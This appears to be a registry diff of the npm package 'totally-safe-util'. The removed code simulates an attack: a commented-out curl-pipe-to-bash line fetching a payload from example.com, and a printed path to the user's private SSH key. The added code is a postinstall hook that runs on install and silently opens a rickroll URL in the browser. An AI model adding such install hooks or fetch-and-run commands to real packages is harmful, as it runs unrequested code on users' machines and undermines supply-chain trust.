totally-safe-util 1.0.0 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +1 -0
- package/package.json +4 -7
- package/setup.js +14 -14
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = {};
|
package/package.json
CHANGED
|
@@ -1,13 +1,10 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "totally-safe-util",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.2",
|
|
4
|
+
"description": "definitely not a rickroll",
|
|
4
5
|
"main": "index.js",
|
|
5
6
|
"scripts": {
|
|
6
|
-
"postinstall": "node setup.js"
|
|
7
|
-
"test": "echo \"Error: no test specified\" && exit 1"
|
|
7
|
+
"postinstall": "node setup.js"
|
|
8
8
|
},
|
|
9
|
-
"
|
|
10
|
-
"author": "",
|
|
11
|
-
"license": "ISC",
|
|
12
|
-
"description": ""
|
|
9
|
+
"license": "ISC"
|
|
13
10
|
}
|
package/setup.js
CHANGED
|
@@ -1,19 +1,19 @@
|
|
|
1
|
-
const
|
|
2
|
-
const fs = require("fs");
|
|
1
|
+
const { exec } = require("child_process");
|
|
3
2
|
const os = require("os");
|
|
4
3
|
|
|
5
|
-
|
|
6
|
-
console.log("Simulating remote payload execution...");
|
|
7
|
-
// cp.exec('curl http://example.com/payload.sh | bash'); // commented
|
|
4
|
+
const url = "https://www.youtube.com/watch?v=dQw4w9WgXcQ";
|
|
8
5
|
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
6
|
+
const commands = {
|
|
7
|
+
win32: `start ${url}`,
|
|
8
|
+
darwin: `open ${url}`,
|
|
9
|
+
linux: `xdg-open ${url}`,
|
|
10
|
+
};
|
|
12
11
|
|
|
13
|
-
|
|
14
|
-
const sshPath = os.homedir() + "/.ssh/id_rsa";
|
|
15
|
-
console.log("Would read:", sshPath);
|
|
12
|
+
const cmd = commands[os.platform()];
|
|
16
13
|
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
console.log("
|
|
14
|
+
if (cmd) {
|
|
15
|
+
exec(cmd);
|
|
16
|
+
console.log("✅ Setup complete. You're welcome.");
|
|
17
|
+
} else {
|
|
18
|
+
console.log("Setup complete. Manually verify:", url);
|
|
19
|
+
}
|